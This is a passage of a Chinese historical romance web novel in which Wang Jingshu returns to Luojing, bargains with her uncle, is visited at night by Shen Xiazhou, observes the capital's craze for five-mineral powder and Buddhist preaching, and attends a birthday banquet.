王斐如虽是没好气瞪她一眼,但也认同了她的想法:“荆州所处位置较之扬州还要重要,管一州军事的都督多是天子信任之人,你大伯放弃对荆州的图谋,也是知晓天子对荆州另有安排。” 王静姝点头,显然也是知晓此事的,她还知,陈雍虽登基不久,可换的州郡等处的长官却不少,有些是他一手提拔起的人,有的则是为平衡各方势力许出去的官职。 至今还不曾动荆州,许也是因这块肉过大,难以轻易动作。 果然听得父亲继续道:“周准任下属官皆非自己人,他忧自己在任不久,不甘为他人做了嫁衣,便愿帮我转运粮草,同时也对朝廷持观望态度。” 王斐如说的委婉,王静姝却是听懂了,周准对朝廷派下架空他权势的属官很是恼怒,无论是要他将手中权势交出给天子属意的陶敬还是北地的士族,皆令他不甘,倒不如同王斐如那般,一边顺从朝廷,一边等待着划江自守的机会。 一经确定父亲同周都督真有往来,她顿觉能说动大伯父的把握又稳了几分,也更不惧此行入洛了。 王斐如停顿话语,忽地明白了王静姝是在套他的话。 他用一种复杂极了的目光看向王静姝,既有为人父的欣慰,又有女大不中留的怅然,六娘是想去见那个令她动心的郎君的吧,也难为她的性子,能安安分分地忍耐这许久。 “当真想好了?” 王静姝点头。 王斐如疲惫揉额,显然也是拿她无法了,只得问过她的打算,反复帮她商榷可说服王瑞的言辞。 * 天使在建业修整不过一日光景,便催促着王静姝启程,毕竟天子登基初年的祭天也非是小事,祠部曹同仪曹早早就为此筹备了。 按理也不该在这不足两月的时候忽地选中一个远在建业的女郎做祭舞主祭,可谁让天子偏是在这时想起了王娘子。 他们万不敢耽搁了行程,回程不住令行船快些。 行船破江,翻滚白浪不断簇着船只前行,王静姝再次立于船前甲板,只觉此情此景恍若相识。 可不就是相识,这已是她第二次离开故土去往洛京了,她的运气似总不怎么好,她的容颜给她带来的似也多是麻烦,可她骨子里偏生带着逆反,越是旁人为她划定的道,她偏不爱走。 她从来不是礼教框出来的规矩女郎,甚至很多时候,她的善恶标准也带着她出身影响的势利,她能轻易接受大绥会乱了的猜测,也能轻易地利用这个猜测,她也从不惧大绥是否会真的乱,毕竟自她所窥见的诸多细微之处,这个大绥好似早已千疮百孔了,不过是世家的出身,仍令诸多人沉浸在富贵繁华之中。 既如此,她盼着乱得更彻底更无有遮挡点又何妨? 江风扑面,沁人的凉意令王静姝的从下沉的思绪中回神,面上不自觉地浮现一层浅浅笑意,她想,她会喜爱上沈遐洲那样的坏郎君或不是偶然,她就是会被他吸引,也从不惧他现在乃至将来会变得如何,她只想念他。 江风掀开她帷帽一角,随侍众人只见女郎笑意静雅如梨,可又奇异地觉得女郎艳丽的容颜似有诱人堕落的魔力,皆不敢再多看。 第77章 第77章陪我歇歇 行船靠岸,洛京繁华近在咫尺。 按理应有仪曹属官来接王娘子再行安排,或见驾或安置,可都靠岸许久,仍不见得人来。 天使急得额前冒汗,一面安抚王娘子再等等,一面遣人去问询。 若是换了寻常人家的女郎,自是等多久都使得,可王娘子是贵女,族伯是天子看重的大臣,她若是一个不乐意等,扔下他们自去应付后续交接等事宜,可不好交差。 就说若天子要见王娘子,中间多生等待,也恐得个办事不力的挂落。 王静姝兀自瞧着他们着急,视线也落在了络绎的街道,远瞧着个熟悉人影,正是王闻俭。 她心念一动,便想先行下船,恰是时,有郎中打扮的属官推开人群急切而来,只见得其同天使说道了什么,不一会便有人来请她下 船。 属官近前:“王娘子远行辛劳,只天子当下并无暇召见,不知娘子属意住在何处?” 既是为冬至祭天而来,仪曹自是有安置住处,可仍有此问,便是将选择给了王静姝。 王静姝颇有些意外地扬目,当即笑了笑,道她有族伯居所可安置。 然甫一送走仪曹属官,王静姝却是松了一口气,能不见陈雍于她而言,自是好的,毕竟今时的天子陈雍可不是昔日她识得的惠王陈雍。 一想此人顶着温煦面庞做下的事,便觉悚然,到底是什么样的人能十年如一日滴水不漏地伪装?又是伺机了多久,才能一经创得机会,便如毒蛇一般直至咬死猎物才松口?而她在不知觉间,是否也几欲落入蛇口? 同他比起来,沈遐洲这样的坏郎君竟都显得纯良了。 “六娘!”王闻俭遥声喊。 王静姝迅速回神扭身朝王闻俭走去,呲地笑出了声,王闻俭惯是世家不羁的做派,打扮上也自来是往贵气潇洒上靠,加之上有能力出众的兄长,故同年岁相当的王静姝一直是贪玩长大不少年人心性。 可今日,他穿的却是一身郎将的装扮,丑是决计说不上的,甚至因少年人特有的意气,显得多有几分精神与轩昂。 可恰是二人太熟知各自的脾性,这般再看,便很是稀奇。 王闻俭显也是耐不住王静姝的打量,一手按佩剑,倒竖眉眼,威吓她。 王静姝更是笑得伏在竹沥的身上,眉眼却是上扬着叱他:“王七郎,你如今好大的威风,我可是你六姐。” 二人年岁相差得太近,又自小玩在一处,多是六娘七郎地互喊,少有较个长幼的时候,此刻虽是提及,却也多是熟稔的玩笑。 王闻俭被笑得面上羞红,气哼她:“你竟还能笑得出,我倒是白忧心你。” 王静姝略敛了笑,这年来,她其实也少有开怀畅笑的时候,便是此刻,心中也多有藏着事,可当她真不笑,那种沉静便凸显了出来,好像方才肆意畅笑的人非是她一般。 若说王静姝观王闻俭是觉成熟衣装中装了个顽童,那此刻王闻俭看王静姝便是笑闹的伙伴忽地比他先长大了。 心中说不出的不痛快,不是针对王静姝的不痛快,就是觉得六娘本不该这样,一时竟悔起打断了王静姝的笑话。 王静姝上马车后,王闻俭骑马伴在外,斟酌着同她说话。 而在他们皆未见得的地方,一年轻郎君正用一种幽晦的目光观察他们,他整个身子都掩在暮色的阴影里,修长且薄,似随时会融入其中一般晦暗。 沈遐洲怔怔望着渐远的车驾,长时间的不动弹,让他甫一收回视线,身形便摇晃般地一动,即便很快立稳,可面上还是拂过失神一般的空寂神色。 他被许久不见的女郎所迷,他望见女郎在笑,笑靥生香,眉眼含波。 她怎能仍旧笑得那般动人? 可又为何不能? 他的麻烦同她又何干,离了他,弃了他,才是人之常情。 沈遐洲垂着眼,面颊紧绷,拼命试图说服自己,可他自来气量狭小,忍了不过片刻,竟自喉间呕出一口血。 * 马车缓缓,王静姝终是知晓为何天子竟无空召她了,原是短短一月不到的功夫,接连的败仗再次传回,甚至上月才遣去的援军将领竟在上谷被俘。 且还不是简单的被俘,是战败撤退时,将领之一的刘蒙抛弃了副将徐简,慕容部首领俘虏徐简后,嘲大绥是无可用之人了,派两懦夫来出战。 而刘蒙竟也不反驳,退入城中当起了缩头乌龟,甚至还有脸遣人回洛求援。 朝中当初推选刘蒙的世家一派也顿觉面上无光,陶敬一派趁机请战,然还不及商讨个章程,今日一早,又有战报传来,刘蒙丢了上谷,退至范阳,又丢了范阳,而慕容部族仍旧攻势凶猛,隐有越过幽州攻至冀州之势。 王静姝暗暗吃惊,难怪今日她方到洛京,议曹属官久久不至,怕是根本见不得天子去过问是否召见她这样的小事。 可除却这,洛京城中人潮往来如织,半分看不出在陈雍治下边地战乱频发的恐慌。 说起这,王闻俭的面色变得有些古怪,甚至露出几分荒诞难言,最后只言是五石散和佛事兴盛的缘故。 王静姝不解,她也不是不曾在洛京待过,五石散和佛事又有何特殊的? 还待再问,王闻俭便道:“六娘,你多呆几日便知了。”又满是抱怨地嘟嚷:“若非父兄忧我也嗜上这些,也不至于给我谋了个日日巡逻不得闲的郎官做。” 恰司农府也到了,王静姝便也不继续问,车马行船数日,也多少有些疲乏。 府中为她备的院落用具一应俱全,她沐浴缓了一身的疲乏,却并不直接休息,反饮了许多的浓茶,又遣人留意着前院的动静。 王闻俭倚在石栏上哈欠连连,远瞧见父亲绕过影壁,连忙同身旁的仆从招手,示意可以去知会王静姝了。 王瑞显然也瞧见了王闻俭不正形的模样,眉心一皱,就要训斥,却见这小儿今日竟不急着躲避,反主动上前。 “父亲,六娘今日已到洛京。”王闻俭咽了咽唾沫,“她说想同父亲谈谈。” 王瑞稍一迟疑,便准了,王静姝的性子太野,主意也大,是该先见一见训导一二。 但他也没放过王闻俭,将人一同带入书房,问起近日往来。 他对子嗣教导不同于王斐如的随性放养,多为严厉约束,但王闻俭因是幼子,妻子岳母多有宠溺,他只得疏疏管教,不比长子用心,可本性使然,也绝不许王闻俭染上恶习,同一些世家子一般放浪形骸,嗜上丹药、五石散之流。 说来,他入洛京前,虽有野心,可也不过是不愿王氏在他手中平庸,想抓住一个重复先祖昔日辉煌的机会,只在朝时日越久,越觉这是一艘朽船。 帝王放纵党争,助长佛事愚昧百姓,又私卖丹石药散。 所有谋私的指向不过为权。 可谁人不是为权?谁人不想当朽船的掌舵者? 无论是为报抱负还是野心,洛京这场风云皆已经搅入了太多人。 王瑞没想过退出。 他目中精光凝锐,摄得王闻俭再次保证绝不会碰各色的丹石药散。 王瑞闻之反应很淡,挥挥手道:“下去吧,让六娘进来。” 王闻俭长舒一口气,也没了想留下听王静姝到底要同自己父亲谈什么的好奇,出了书房便朝着王静姝递去一个好自为之的眼神,同她交错而过。 长廊早已掌灯,廊下立着的也多是王瑞忠心的卫士,王瑞积威甚重地坐于书室案后。 里外形成的无形压迫,皆同王静姝这样夜重也装扮华美的女郎格格不入,可奇异地,她的气场并不弱下风。 她盛美,如盈室明珠,自生光彩。 这是不同于过往总似王闻俭一般避让的姿态,王瑞不由重新审视起这个侄女:“七郎道你有话同我谈?可是你阿父托你带了话?” “是我自己有话想同大伯谈。”王静姝缓缓抬头,并不畏会触怒王瑞地开口:“大伯既想将我卖个好价钱,何不多货比几家?” 她眼中直刺向王瑞的光,是一种不管不顾的发泄,她不痛快,从很早之前便一直在压抑。 王瑞一瞬被激怒,拍案响动大得惊人,他万万没想到,王静姝一个晚辈女郎竟敢直面挑衅他:“四弟便是这样教导你的?目无尊长,毫无理法恭亲!自甘下贱以货自比!” “我王氏如何就出了你这样的女郎!” 王静姝被王瑞的拍案声惊得略皱了皱眉,但目光却不曾闪避,唇角甚至略讽地勾起,就像是观赏了一出虚伪的尊长自辩。 一直以来分明是大伯这所谓的尊长将她视作货物,可当被她直言戳破的时候,却偏又企图以礼法来驯服她,压制她。 可她哪是什么温良恭谦的贵女,她是十足的凶悍女郎。 王瑞清楚瞧见她眼中的强硬,这种眼神往日他只在悍不畏死的卫士身上见过,王瑞清楚知道 应付这种人多麻烦,心神在一瞬冷静,甚至思考起她先才的话外之意。 王静姝立得笔直端然,并不惧王瑞或会怒下惩戒于她,她身负天子旨意,又多有利用价值,大伯即便怒极了她,也定然会多有权衡。 而只要他权衡,必然会思及她所言。 果不其然,伯侄二人之间气氛非但未有走向极端,反奇异地缓和了些。 王瑞重坐下,面色虽仍肃冷,语气却平下许多:“六娘,你父与我嫡亲兄弟,我待你也一如七郎般管教,族亲之间何至于此。” “大伯说得是。”王静姝顺势缓了姿态。 灯烛通明,伯侄二人一扫先才的剑拔弩张,竟相谈许久,及至谈完,再瞧不出有过顶撞与气怒。 可等在外的竹苓仍旧心有余悸,回院的一路,都经不住地忧心:“娘子怎这般顶撞大司农,若是大司农令人伤了娘子可如何是好……” 同王瑞的对谈,耗费王静姝不少的心神,此刻便是竹苓聒噪,她也困困然,倦得去解释些什么,只在脑中强打精神地想,其实同阿父的交谈计划中,并没有顶撞大伯这一项。 只她一见大伯,心中就不痛快,也不愿意再忍,她见得大伯被激怒,心底便生出悖逆的快意。 既然旁人能利用她的价值,她自己为何就不能利用? 抛却礼法,也没什么好惧的。 竹苓见娘子困得什么都听不进的模样,便也不再絮叨,为娘子更衣洗漱,吹灭了灯烛才退下。 然等竹苓退出房门,王静姝却从榻上坐起,赤足搭在脚踏上,双手撑在床沿支着身子,似在等着什么。 可许是实在困,头一点一点地倾靠在了床柱上。 月慢慢从云梢后探出,透过窗子的昏濛光色落在她身上,偏离平时的明媚艳丽,如月妖般发着微光的洁白,似幻非真。 不知何时出现在屋室中的黑影,怔怔目色聚而不动,心跳却快一分,他经不住地上前,想确认女郎非幻是真,可又因他常梦此,一时恍惚得分不清真实与梦境,恐一旦触碰,便会化为乌有。 伸出的手久久胆怯地虚隔着些许距离摹着女郎的眉眼。 不知这般持续了多久,他忽觉衣袍被攥住,随即暖茸茸的脑袋靠至他怀中,轻柔似喃的声沿腹传入他耳中: “我便知你会来寻我。” 茸茸触感似在找寻舒适位置般蹭动撒娇:“我累了,沈九如,陪我歇歇。” 第78章 第78章你怎么变丑了? 沈遐洲震动非常,一时僵在原地。 自女郎身上传来的馨香如同无形的锁链,令他轻易束手。 他疑心甚重,自白日里远瞧见女郎同王七郎侃侃而谈,好似什么也不在乎地粲笑,心间便一直如火炙般难平。 他时而为女郎的粲笑恍惚生爱,时而又生恨生怨,疑心女郎信中所道“念他亦如是”不过是在哄他骗他。 不然缘何不避开入洛? 这种想法其实是很没道理的,他该知女郎的为难,也知是何人令她为难。 他早就该杀死陶然,徒留她张狂作妖,陷他女郎入不利境地。 宫中旨意传出之时,他比得王闻俭等人还早知一二时刻,可快骑而出的旨意根本回旋无门,纵使追上天使将其射杀也改变不了什么。 杀意从他心头涌出,只有做些什么才能将其堵住,一日的功夫,陶然误食药散,瘫病在床,秦、雍匪乱再报御案。 他想,他的女郎很聪明,若想避开入洛定然是有办法的,而他也会令洛京中人无暇顾及她。 他提笔欲传信女郎莫忧,可当信封蜡好,却鬼使神差地没有送出。 光照于他苍白面色,在地砖上投下薄薄一道细影,他动影也动,无不在提醒着他的落魄脆弱,早已不是昔日风姿迢迢的沈三郎。 他觉如今的自己毫无吸引力。 王静姝是否也曾这样想? 她还会选择自己吗? 信不曾寄出,女郎也已入洛。 沈遐洲垂目看扑入她怀中蹭动的女郎,雪肤乌发,半张外侧的脸庞恬静美好;柔软水润的唇瓣,令人不经想触上。 纤弱白皙的脖颈更是毫无防备地朝他显露着。 沈遐洲不经恍惚,原来王静姝选择的依旧是自己。 如若不是,为何夜半等他,呼他名?可既是选他,为何又在此时同意入洛?她是又觉得旁人好了吗? 他一会欣喜,一会狐疑,敏感多思得极端且病态。 可就如他不敢常给女郎写信,惹她生嫌般,此刻也并不推开女郎,只兀自用反复的念头折磨着自己。 他并不想这样,但他病了,自归洛以来,也再无人劝得动他好好喝药,他也控制不住自己。 晚秋的夜其实已带上了冬日的寒凉,屋中火盆燃至此刻,也已不够暖,何况王静姝还是赤足搭在脚踏上,她在沈遐洲怀中寻得暖意不够,足腕也无意识地向前探,一瞬触碰到什么的阻隔感,令她有一瞬惊醒。 王静姝抬头便看到如鬼魂一般的沈遐洲,他削瘦冷寒,眉头紧锁,在幽黑中又足够安静,陡一见得,说不出的阴鸷,让人心悸。 可她的手却是自下探向沈遐洲的颊畔,整个人更是依着沈遐洲向上攀。 沈遐洲能感到脚背一重,是王静姝踩在了他的脚背上—— 有点暖意的指腹触至他面庞,女郎雪玉一般的面容在他眼前放大。 沈遐洲怔住,毛刺般的酥意自脊背泛起,漆黑眸子只能瞧见女郎翕张的水润唇瓣。 然女郎只是捧着他的脸问:“沈九如,你怎么变丑了?” 沈遐洲盯着她的目光刹那凝结,可女郎却好似无察般,双眸盈满疑惑,神情妩媚又懵然,且在下一瞬,腰肢便不支地向下溜去。 沈遐洲本能般地去捞她,但他们二人实在靠得太近,他轻易被带得同她一齐向后跌去。 柔软的锦被稳稳托住女郎,沈遐洲堪堪悬在她上侧,绵长安稳的呼吸便伴在他耳畔。 稍一低头便能瞧见女郎睡颜,一时竟难以分清,她方才是否真有清醒。 可无疑的,“变丑”二字,沈遐洲听得真切,他面容扭一下,气且怒。 他愤然为王静姝遮盖好被子,无言坐在床畔盯视她,她睡得面颊香甜,腮畔几缕蜷发随着呼吸一颤一颤,瞧着非但无有清减反愈发红润康健,想到方才都捞不住她的沉甸,面色变得几分古怪。 他盯视王静姝的睡颜一会,视线缓缓下移,隔着锦被摹着她的腰。 流线一样的起伏,实难看出什么。 沈遐洲唇紧抿成一线,慢慢伸手探入了覆着女郎的被中,触至女郎腰腹的温香绵软,他流连摩挲不过一瞬,摊掌比划。 女郎的腰紧韧又盈盈一握,同记忆中并无分毫分别,那便只能是他的问题了。 再想之女郎嫌他的“丑了”,低垂目中泠泠水洗般的凄楚,甚至就连离去的背影都带上了几分失魂落魄。 只王静姝睡得香甜,并不曾得见。 翌日,曦光透过窗棂,王静姝自锦被中探出一臂,意识也慢慢地苏醒。 她这一觉睡得极好,但她对夜里的来人也非是无知无觉的,反恰是确认了来人,她才再困不住睡意的侵袭,安稳地入眠。 可即便是在迷蒙中,她也能感知到沈遐洲的消瘦。 她生出些懊恼,或应再多撑一撑,同郎君多说几句话,或是将他看得再细致一些。 但也就一瞬的念头,她并不过多纠结,他们既同在洛京,只要想见便总能见上。 这日里,她亲走了一趟太乐署,正副主官皆不在,只一令史出来招待,令史知道她来意,将早早就定下的祭天大典章程同她细细介绍,还带她四处走了走,见了诸多要一同参祭的乐工舞人。 新帝登基后的第一次大祭,各署显然皆是极为重视,便是不提自新帝登基起就在修整的宫室、祭天台等,他们乐署也是早早便做了排练的准备,王娘子的加入其实已算是晚了,可她是天子钦点,便是先前的领舞也不得不换下。 令史一边同 王静姝介绍的详细,可也没少暗示她时日紧迫,要勤来太乐署同其他乐工舞人练习配合。 王静姝却如听不懂一般逛完一圈离开了,她对这大典本就说不上多上心,走这么一趟,也不过是为出门。 昨日她同王瑞虽谈了颇多,说得他动摇,但建业同洛京总归隔着不小的距离,很多消息传递的并不及时也不详细,她对现在的洛京既熟悉,又陌生,加之昨日王闻俭对佛事和五石散的语焉不详,她便决定自己尽快熟悉。 她从太乐署出来,直命马车护她去往最近的庙宇,然行至一半,马车忽地急停,车内的王静姝险些磕着头,竹苓扶稳她,眼神示意竹沥掀帘看看外是何事。 外头却先一步传来了卫士的声:“娘子莫要出来,免污了眼。” 醉至他们车前的是一年轻男子,穿着的衣料瞧着是极好的,但姿态狂羁,上半身几乎裸在外,神情更是有些不对劲,面色红得异常,双手烦躁地在身上抓来挠去,似是抓的厌烦了,又捡起掉在一侧的酒壶大饮几口。 驾车的卫士是王静姝从建业带来的,没见过放浪形骸到这样连脸面都不在意了的富贵郎君,再看这郎君起身后,目色迷离,不甚清醒又陶醉非凡的摸样,恐惊了车中女郎,不断强勒缰绳,令马向后退。 已是这般避让,但这郎君像是发了什么癔症,仍摇晃在道路之中,一会笑舞一会作诗。 王静姝不是胆小的女郎,缓过一瞬马车急停带来的不适,就掠过女婢,自己掀了车帘,那男子狂悖的姿态自也是入了她的眼。 王静姝的见识强过卫士,一眼便料这人定然是服用了五石散之类的药物,她知这种药物昔日就在私下流行,可少有到明面来的,但更令他惊奇的是,道旁的商贩路人竟也对此见怪不怪。 有的路人甚至出言夸此郎君诗做得好,有的商贩竟趁此机会捧了笔墨请郎君泼墨留宝…… 王静姝瞧一会儿,放下车帘道:“换一条路!” 然即便换了一条路,王静姝也见得了不少稀罕事,诸如有人捧着一包碎银进了药坊,没多久便被人抬着丢了出来,继而一药童将他所带的碎银也一同抛出,口中唾道:“没钱学什么名士做派!” 王静姝特意令卫士停下马车,遣去药坊中探探,不多时便带出一包药散。 卫士满脸肉痛地盯着交至王静姝手中的一小小药包,这还不如他半个手掌大的药包,竟要整整十金,比之他数月月俸都要多。 见女郎打开,轻捻了一点抬手,再来不及肉痛,连忙阻道:“娘子,这药恐多有古怪。” 王静姝也非是要尝,只捻到鼻下轻嗅了嗅,便放下,由竹苓为她擦手,掀眼问:“都问到什么?” 卫士如实禀道:“属下问得,这药散是洛京近来风靡的玩意,尤是在富贵郎君女郎之间,”卫士沉顿一瞬,面上神情既好奇又狐疑地转述:“据药童道,此药有精神振奋,永葆青春之效。” 王静姝忍不住呲了一声,虽同她见过的有所出入,可并不难辨认,卫士给她带回的是五石散无疑,确有令人意乱神迷之效,至于旁的功效,她是半点不信。 甚至从心底中生出厌恶,顺手将其抛入了车中燃着的小火炉之中。 卫士看得一阵心痛。 王静姝目光锐射向他,语气沉且严厉:“我府之人,若胆敢碰此物者,立逐。” 卫士心头一凛,即便知药坊中还有他足以支付得起的品色药散,也再不敢好奇,他们同单纯被雇佣的卫士不同,一家皆仰仗主家生活,一旦被主家驱逐,一家生计难保不说,其他世家豪族也断不会雇佣一个被驱逐的卫士。 女郎这已是极重的警告了。 王静姝见他听进去了,便令他将她的命令下达,马车也再次向驶向她一开始的目的地。 洛京城中的庙宇道观比之去岁长公主在时,又多了许多,此刻她所停的定安寺便是一座新庙,雕梁粉壁,比屋连甍,不少公卿贵人皆在此出入。 庙里松柏连荫,佛殿里烟雾弥漫,有小沙弥在殿外接引,内里有高僧讲佛,王静姝一行不凡,捐了笔不菲的捐资,便被小沙弥引到能更近聆听佛音的蒲团处。 讲的正是“若有无量百千万亿众生诸苦恼,闻是观世音菩萨……” 这是法华经观世音菩萨普品门中的内容,多讲观世音菩萨解众难,回应祈求。 王静姝听了一会环视众人,或虔诚,或喃喃有求,甚有闭目恍似进了玄妙之境。 她不动声色地起身退出殿外,长眉微皱,隐觉得有些不对,但一时又难以抓住那一晃而过的灵感,只能不断苦想,将往日走过的庙宇与今时的比对。 信众好似更多了?也更虔诚了? 她带着这种困惑,趁着天还未黑,又令卫士带她去了另一处庙宇,这是外城一处较远的寺庙,墙垣古拙,宝塔高耸,往来的香客富贵人家车马虽不及定安寺多,可人流量并不小,甚至更热闹,附近一些杂耍戏台,好似将周边的百姓都吸过来似的。 王静姝提了裙,不畏人流,挤进了庙中,台阶处有僧人在赠发护身符,内里也有僧人在讲佛,略略一听—— “若有众生,遭亿百千万姟困厄、患难……辄得解脱,无有众恼……” 又是普法华经观世音普门品中的内容。 王静姝似隐隐明白了什么,但仍有些不敢确认,只天色已晚,仆婢卫士皆劝她归家。 第79章 第79章“你这次又看上了哪个?…… 王静姝甫一归大司农府,便得王瑞唤她去见。 王静姝也没想过自己去了哪能瞒得过王瑞,但王瑞见她说的却非是限制她出行一事。 经昨日的详谈,王瑞不再将王静姝只看做一个可牺牲的女郎,比起送入宫中等一个不知何时有的皇嗣,自是她带来的同荆州周家的手书更有价值,那代表着任将来朝局如何变化,何人在上首,划江而守的南地都有足够的话语权。 一想起这,他顿觉心中激昂,在朝的底气都盛了几分,也更积极地搅人党争中。 且今日朝中谈及一事也同祭天大典有些关系,此为天子登基初年的大祭,但恰逢北境战乱,蛮地部族侵入大绥,腹地也匪乱频发,吕相主张简办,减轻财政压力。 但帝王似隐有不悦,初年便简办,岂不是在打他的脸,有善观帝王喜怒的臣子主动提及,应大肆操办,越是战时才更需用大典来安民心。 经此臣子一提出,也陆续有人赞同。 王瑞的意思是王静姝不可领祭舞。 王静姝眉眼微动,细听王瑞说个明白。 “但凡大祭,必祈风调雨顺,驱邪震祟,然今四处乱起,非是吉兆,你暂莫要妄动,大典将近之日,再听我安排。” 王静姝应下,心中却是冷笑,之前可不见得她大伯要帮她摘出来啊,果然还是要看哪方获利大。 她辞了王瑞,夜里想着再见沈遐洲一面,却不曾等得,她初时以为是自己睡过了,懊恼后,只得又如前一日般出门,这次她多在太乐署待了一会,同乐工舞人一同合了合舞。 随后又去见了佛事法会与道观的传教。 一连数日皆是如此,她便肯定,沈遐洲在躲她,但关佛事宗教,她多琢磨出了点用意,正是不断的动荡,才有了佛事兴盛。 洛京是大绥的中心,哪乱了这里也不能乱,当将众人的寄托引导向神佛,一切苦难便都有了希望,一些不利的情绪也便被压下或消除,治下也就更安稳了。 尤其是那什么“因果报应说”,多有蛊惑贵人、百姓为来世的好运作努力,引得布施攀比之风盛行。 若非她心性坚定,又从一开始就持着怀疑和探究的心态,接连的法会参与下来,怕是也要深信不疑了。 她也终是知晓为何王闻俭提及这些神情那般古怪了,也难怪大伯不再让他有闲着的机会。 尤其是王静姝入了洛,更是将他使唤得团团转。 晚膳时分,王静姝就笑吟吟地等在王闻俭必经的道上,问他:“我要赴宴的消息放出去了吗?” 王闻俭忍不住翻了个白眼,何止是放出去了,他就差闯入沈三郎的府中敲锣鼓了。 还有那郑七郎知晓自己的生辰宴王静姝要去,喜形于色得抓着他,不断过问王静姝在建业过得可好? 建业本就是他与六娘自小生长的地方,地头蛇一般的存在,哪有不好的道理。 他颇费了一番功夫才将人甩了,此刻不由盯着王静姝细瞧,许是太过熟稔的缘故,比起王静姝的面皮,他感知更多的是王静姝的脾性,但细瞧下,也不由感慨,六娘生得就是比旁的姐妹出众,随意 扬眉送来的一眼,艳光四射得浑如妖孽。 王闻俭捂着心口倒退一步,喃喃自语:难怪那郑七郎都娶妻了,还对六娘念念不忘。 想到郑七郎对王静姝的痴迷,他颇为善心地劝道:“六娘,洛京这么多人家都有宴设,你何必单选中郑七郎的?听闻他家中夫人很是蛮横善妒。” 王静姝一时没能听出他话中的劝意,缓了好一瞬才危险地眯了眼:“王七,你想哪去了?” 她是闲不住爱玩的性子,可也不至于去招惹有妇之夫,她想在洛京会友,选中郑七郎的生辰宴,那是因知郑七郎品性不错,往来的多是她过往就结交过的郎君女郎们,至少不至以五石散宴客。 且她本意也不是为了玩,她是想引出沈遐洲。 她最是知沈遐洲是何等气量狭小爱喫醋的郎君,她便不信他还能坐得住。 她非要问问他,为何躲她? 这几日,她也不是没有听过沈遐洲在洛京的境遇,沈三郎体弱多病,又兼父母之事影响,深居简出,唯得陛下仁慈,一直多有照拂,甚至还给了其入朝的机会。 这番境遇若是不明就里的人听了,怕是都要夸一句天子宽宥仁慈,可谁人都不是傻子,只要经过那场政变的都知其中藏着多少隐秘,只满洛京又有多少不曾卷入的世家豪族呢? 无非是多少或是旁观罢了。 至于沈遐洲的入朝,王静姝心口更是一痛,她的郎君,怕是明知是作他人手中刀俎也疯狂地甘之如饴吧。 她从不认为沈遐洲会任人揉搓的无用郎君,他心性极狠,只会抓住一丝一毫的机会搅动风云。 她有很多的疑问想同他确认,又惧于从他口中知道答案。 好在她也不是什么良善大义的女郎,她想确认的唯有她在意的郎君可有好好吃饭,好好休息,身体可当真有外传的那么差吗? 又想他都能来去大司农府不被卫士发觉,想来又是对外的作秀。 一时心中宽宥,可再多的猜测,都不及面对面的相见。 沈遐洲避她,她便逼他自己出现相见。 可被王闻俭这样胡乱猜测,她还是多有愠怒,长眉很是不悦地蹙起,语气也带怒。 王闻俭顿为惹怒王静姝后悔,追在王静姝身侧解释,他实在孤独,自小生长在建业,一朝迁入洛京,同洛的世家郎君们虽也能交好,但总归少了点打心眼里的亲近,王静姝在建业时,他忧心她被迫入洛,可真入了洛,他心底还是欢快的。 此刻认错道歉得也快,还试探地将一些过往偷偷瞒着不曾书信的,同沈遐洲有关的事情说给她听。 * 天色澄如青碧,郑家别院廊曼交错,亭台有致,其中数座高屋建瓴,可将终年绮丽园景尽收眼底。 这是王静姝第二次来郑家的这个别院了,说来也巧,上次也是她初入洛京不久,她草草瞭过一眼这时节不再鲜绿的草场,同引路的侍女往更精致的庭院走。 郑七郎的年岁不算大,生辰宴也不过是为聚上众多好友饮乐,别院中也无长辈打扰,很是便宜。 王静姝还不及走至饮宴处,就已闻得一些清乐同欢声,再走近,侍女仆从更是穿梭其中为郎君贵女们炙肉与煮酒。 还不及被引坐,就有人发现了她,声呼:“王娘子来了,可好多的日子不曾见!” 王静姝顺着声回以一笑,她身姿窈窕,衣容华美,浅浅笑意在一片觥筹交错间,烂烂如华,很快引得更多注视。 昔日就同她有交集的郎君女郎话题围向她—— “王娘子,大司农开年不久就迁入了洛,你怎不一道?” “王娘子,你可还不曾婚配?我家中兄弟恰与你相配。” “王娘子……” 王静姝笑意不减地一一回应,又连饮几盏温酒,才将众人的话头略过,目光也跟着从在场众人身上扫过,忽地一顿,察觉郑七郎旁侧的女郎一直怒目视她。 她的记忆并不差,也记得这女郎,是郑七郎的表妹薛五娘,也是郑七郎如今的夫人。 王静姝略回忆了下,想起自己当初同这女郎游戏时,确有些欺负人了,遂率先善意地笑笑,可也不知薛五娘是如何理解的,好似更气了,还有他身侧的郑七郎也似误会了她是在同他笑,当即要端酒起身,却被薛五娘往下拽住。 二人颇为喜感地胶着在了一处,王静姝瞧着好笑,心底却生出些羡意,少年夫妻,吵闹也是情趣。 看一会她便别了眼,连同席位也换到了旁处去同人游戏饮酒。 当郑七郎连连告饶自薛五娘手中逃过时,已见得王静姝换了席位,同吕三郎一处交谈着些什么,女郎是难得的美人,而郎君也身修气清,风流俊朗,远瞧着倒很是有几分相配。 然二人之间的氛围并无他们想的那般旖旎,相谈间甚至都有些失意,王静姝瞧吕三郎也不如过往般意气风流。 在坐的郎君女郎皆是世家出身,洛京的之势态,有真懵懂不知的,也有自愿醉而不醒的,不然何来越来越多人嗜上能令人飘然的五石散,但也有如吕三郎这般既清醒又痛苦的。 “王娘子不该入洛的,这已非是净土。”吕思温低声道。 王静姝:“那清游觉得我该当如何?” 她声音轻而渺,却扎向吕三郎心底,是啊,王娘子一个女郎又能有什么选择,就连他明知吕相的不对,也阻不动,就如父斥他:“愚蠢、荒唐!你以为我等退让,陛下就会退让吗?” 如今之势,非一方之错,从长公主之始,或从更早就错了,可什么是对的,吕三郎也不知,他只能痛苦地处在他之立场。 王静姝撞入他眸底的黯然,有些不忍,却也只能垂目无言。 然静下也非是他们,周遭好似也有一瞬的静,继而小声议论:“沈三郎怎会来这?谁邀的他?” “他怎有脸出现在这儿?” …… 诸多王静姝也没料到的恶语与揣测,令她眉心一皱,目光急忙扫过筵席各处,终在回廊一处瞧见了面色苍白,双目却赤红带怒的郎君,也不知已来了多久。 有奴报与郑七郎,道沈三郎是来贺他生辰的。 郑七郎面露难色,他同沈三郎并无甚交情,倒是大兄曾因赛牛意外,同沈三郎有过一阵的往来,而他对这个名声在外的郎君虽有过艳羡,可随着长公主与沈氏的倾覆,唯剩同情。 然这同情又因其在朝提出的改制荡然无存,便是他们这些世家的出身的子弟自身不求上进,那也不代表乐意见得自己出仕为官的路子被截断。 沈三郎怎能自己落难,便令旁人也不好过! 郑七郎想了一瞬,欲辞了沈三郎的贺,方行近开口,却被沈三郎身旁仆从塞了个满怀,沈遐洲也不同他打招呼,步子掠过他就往筵席走。 